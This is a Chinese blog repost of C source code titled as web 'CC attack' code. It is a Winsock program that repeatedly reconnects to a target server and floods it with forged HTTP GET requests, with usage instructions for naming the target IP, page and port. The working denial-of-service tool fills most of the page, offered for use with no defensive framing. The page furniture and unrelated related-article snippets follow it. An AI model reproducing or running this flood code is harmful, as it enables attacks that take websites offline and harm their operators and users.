#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
DWORD resolveIP(char *hostName)
{
hostent *hent;
char **addresslist;
DWORD result = 0;
hent = gethostbyname(hostName);
if(hent)
{
addresslist = hent->h_addr_list;
if (*addresslist)
{
result = *((DWORD *)(*addresslist));
}
}
return result;
}
SOCKET ProxyConnect(char *host, int port)
{
SOCKET sock;
sock = socket(AF_INET, SOCK_STREAM, 0);
if(sock == INVALID_SOCKET)
return sock;
sockaddr_in sin;
DWORD ip = resolveIP(host);
if(ip == 0)
ip = inet_addr(host);
sin.sin_addr.s_addr = ip;
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
connect(sock, (sockaddr *)&sin, sizeof(sin));
fd_set rd;
struct timeval tv;
tv.tv_sec = 0;
tv.tv_usec = 50;
FD_ZERO(&rd);
FD_SET(sock, &rd);
if(select(sock + 1, &rd, NULL, NULL, &tv) < 0)
{
closesocket(sock);
return INVALID_SOCKET;
}
return sock;
}
int main(int argc,char **argv)
{
if(argc<4)
{
printf("webcc ip pagepath port\n");
printf("webcc 10.0.3.127 /mainpage/index.asp 80\n");
exit(0);
}
WSAData GInitData;
if (WSAStartup(MAKEWORD(2,1),&GInitData) != 0)
{
printf("初始化SOCKET函数失败!\n");
return 0;
}
int sendlen = 0;
SOCKET S=ProxyConnect(argv[1],atoi(argv[3]));
if (S==INVALID_SOCKET)
{
printf("不能连接目标服务器\n");
return 0;
}
char url[4096] = "\0";
sprintf(url,"GET %s HTTP/1.0\r\nAccept: p_w_picpath/gif, p_w_picpath/x-xbitmap, p_w_picpath/jpeg, p_w_picpath/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* \r\nAccept-Language: zh-cn\r\nAccept-Encoding: gzip, deflate\r\nIf-Modified-Since: Sun, 26 Jun 2005 15:43:05 GMT\r\nIf-None-Match: \"60794-12b3-e4169440\"\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; .NET CLR 1.0.3705)\r\nHost: %s\r\n\r\n",argv[2],argv[1]);
for(;;)
{
if(S > 0)
sendlen = send(S,url,strlen(url) ,0);
closesocket(S);
// else
// {
S=ProxyConnect(argv[1],atoi(argv[3]));
if (S==INVALID_SOCKET)
{
printf("不能连接目标服务器\n");
return 0;
}
// }
printf(".");
}
closesocket(S);
return 0;
}
网页cc攻击源码
精选 转载上一篇:100个最佳Linux站点
下一篇:ddos 源码
提问和评论都可以,用心的回复会被更多人看到
评论
发布评论
相关文章
-
网页相册源码
``` Objective-C 网页相册 ```
h5 资源分享 -
html表白网页源码
?网站文件方面:html网页结构文件、css网页样式文件、js网页特效文件、images网页图片文件;
web web课程与设计 web前端期末大作业 前端 网页设计与制作 -
JS python 网页源码 python获取网页源码
爬虫,就是用程序代替人去访问网站,然后把网站上需要的东西拿下来;类似人输入网址,看到页面,然后复制粘贴,只是把这个过程自动化。那么第一步就是去访问网站,要看到网站的页面,对程序来说也就是源码。笔者在学爬虫时曾被这一步卡了挺久;想爬知乎,但查了不少资料,大多是说怎么解析源码的,怎么从源码中定位需要的内容;但源码从哪来呢?源码不过就是字符串,总会有工具能提取的,是在不行自己写工具也行;但对于高手们来说
JS python 网页源码 python源码 python爬虫源码 python获取网页源码不完整 复制下来的源码打不开
















